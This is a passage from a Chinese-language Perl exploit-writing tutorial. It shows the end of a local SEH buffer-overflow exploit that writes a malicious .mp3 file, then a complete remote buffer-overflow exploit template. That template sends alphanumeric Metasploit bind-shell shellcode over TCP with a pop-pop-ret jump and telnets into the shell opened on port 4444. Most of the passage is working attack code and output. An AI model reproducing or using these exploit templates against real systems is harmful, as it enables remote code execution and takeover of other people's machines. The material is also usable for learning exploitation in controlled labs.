"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
if (open (fp,'>>exploit.mp3')) {
print ("Create file sucessful!\n");
}#文件名以第三方软件的文件格式为依据进行命名
else {
die "Create file fail !\n";
}
#下面代码是将以上变量的数据组合起来写入文件,这样当触发异常时,会去执行$handle把指向的指令,即pop pop ret
#执行完pop pop ret指令后会跳转到$nexseh以执行jmp 06,也就pop pop ret后面的指令$nop,最后执行shellcode,其堆栈情况如下:
#x41x41x41…… jmp 06 nop nop pop pop ret nop…… shellcode
print fp $bof.$nexseh.$handle.$nop.$shellcode;
close (fp);#关闭文件
测试结果:
D:\软件>perl riusksk.pl
########################################################
# Local Buffer Overflow Exploit Perl 模板 #
# Author: riusksk(泉哥) #
# Blog : http://riusksk.blogbus.com #
########################################################
Create file sucessful!
D:\软件>type exploit.mp3
x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41
……省略部分内容
1x41x41x41x41x41?裷悙悙悙悙悙悙悙悙悙悙?Y?桫 OIIIIIIQZVTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOMNOJNF4BPBPB0K8E4NCKHNGE0JGAPONKHODJAKHOUBRA0KNITKXFCK8APPNA3BLIINJFHBLF7GPALLLM0A0DLKNFOKCFUF2F0EGENKHO5F2A0KNHVKXN0KDKXOUN1APKNKXNQKHAPKNIXNUFBF0CLA3BLF6K8BDBSEHBLJ7N0KHBTN0KXBWNQMJK8J6JPKNI0KHBHBKBPBPBPKHJVN3O5ASHOBVHEI8JOCXBLKWB5JFBOLXFPOUJ6JYPOL8PPG5OOGNC6AVNVCFB0Z
(6)远程溢出
远程溢出的危害性要比本地溢出危害得多,只要对方存在远程溢出漏洞,攻击者只需在本地即可发动攻击,并获得系统权限。关于远程溢出利用程序的编写自然要用到套接字了,下面我们就此编写一份exploit:
#!/usr/bin/perl
use IO::Socket;
if (!($ARGV[1])) {
print "\t\t########################################################\n";
print "\t\t# Remote Buffer Overflow Exploit Perl 模板 #\n";
print "\t\t# Author: riusksk(泉哥) #\n";
print "\t\t# Blog : http://riusksk.blogbus.com #\n";
print "\t\t########################################################\n";
print "Usage: perl $0 <Host> <Port>\n";
exit;
}
#下面这份shellcode是由Metasploit生成的,用于将telnet端口映射到端口4444,读者可根据自己需要进行更改
# metasploit win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38".
"\x4e\x46\x46\x52\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x57".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48".
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x45\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x38".
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x38".
"\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x53\x4b\x4d".
"\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x48\x42\x54\x4e\x30\x4b\x38".
"\x42\x57\x4e\x51\x4d\x4a\x4b\x58\x42\x54\x4a\x50\x50\x45\x4a\x46".
"\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56".
"\x43\x35\x48\x46\x4a\x56\x43\x43\x44\x43\x4a\x36\x47\x47\x43\x57".
"\x44\x33\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e".
"\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55".
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x34".
"\x43\x45\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x51".
"\x4e\x35\x48\x46\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a".
"\x4c\x51\x42\x37\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51".
"\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x42".
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d".
"\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x34\x47\x55\x4f\x4f\x48\x4d".
"\x42\x35\x46\x35\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x56".
"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x56\x4c\x56\x46\x56\x48\x56\x4a\x46\x43\x46".
"\x4d\x46\x49\x38\x45\x4e\x4c\x46\x42\x55\x49\x55\x49\x32\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x52\x50\x4f\x44\x34\x4e\x42".
"\x43\x59\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56".
"\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x47\x46\x44\x4f\x4f".
"\x48\x4d\x4b\x35\x47\x45\x44\x55\x41\x55\x41\x55\x41\x55\x4c\x56".
"\x41\x50\x41\x45\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46".
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x58\x47\x55\x4e\x4f".
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";
$buf = "\x41" x 234;
$buf .= "\xEB\x06\x90\x90";#jmp 06
$buf .= "\xbe\x2e\xd1\x72";#pop pop ret
$buf .= "\x90" x 10;
$buf .= $shellcode;
$socket = IO::Socket::INET->new(PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1],
Proto=>'tcp',)
or die "Create socket fail!\n";
print "Exploit……\n";
if (send ($socket,$buf,0)==length($buf)) {#判断$buf中的数据是否全发送完毕
print"Send Successful!\n";
print"Connect to port 4444…… \n";
system("telnet $ARGV[0] 4444");#远程登陆
}
else{
print"Send Fail!\n";
exit;
}
close $socket;
十二.结论
本文对常见漏洞的perl exploit编写作了一个简单总结,学完本文对于基本的exploit的编写应该没有问题,但若想深入学习perl,那是远远不够的,读者可自行参考其它perl编程方面的其它书籍及官方文档。因学业问题,拖了很久才完成这篇文章,了了草草写了八千多字,希望不会浪费读者的时间,并能够从中学到你想学的知识。
以上是关于Perl黑客编程的主要内容,如果未能解决你的问题,请参考以下文章